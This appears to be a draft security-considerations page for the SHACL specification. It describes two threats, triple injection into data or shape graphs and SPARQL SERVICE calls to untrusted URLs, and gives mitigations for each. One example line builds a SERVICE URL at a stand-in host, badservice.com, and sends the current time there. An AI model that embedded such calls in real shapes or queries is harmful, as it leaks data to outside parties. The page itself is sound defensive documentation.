Security

See https://w3ctag.github.io/security-questionnaire/

The specification SHOULD have a security and privacy section. This page collects potential scenarios.

Triple Injection

This scenario is a potential thread in cases where an application imports shape definitions or data that has not been tested beforehand. Basically, if RDF triples are merged into a dataset, then these RDF triples may have effects on the outcome of the validation of existing RDF triples. Someone may add triples about resources in a separate subgraph of the data graph. Or someone may add constraints to a shape or remove their sh:severity to sh:Info. The outcome may be that applications can not trust results if the data or shapes are manipulated behind their back.

Protection against such attacks can be achieved by only using trusted and verified shape definitions, and eliminating the possibility that graphs are dynamically added via owl:imports or sh:shapesGraph.

SPARQL SERVICE calls

The SPARQL SERVICE keyword can be used to make web service requests against any URL. Although the SERVICE keyword is not part of the SPARQL 1.1 specification that SHACL depends on, it may still be supported by the SPARQL engine that is used for execution. URLs called by the SERVICE keyword may include URLs that only pretend to be SPARQL endpoints but are in fact malware. For example, a SHACL-SPARQL constraint may send a sub-query against a SERVICE where the URL of the service is a variable that is assembled using triples in the data graph or shapes graph, e.g., BIND (IRI(CONCAT("http://badservice.com/sparql/", NOW())) AS ?service) . SERVICE ?service { ... } would send a query that includes the current timestamp to the receiver.

Protection against such attacks can be achieved by switching off or tailoring the SERVICE keyword in the SPARQL engine, and in general by only using trusted and verified shape definitions.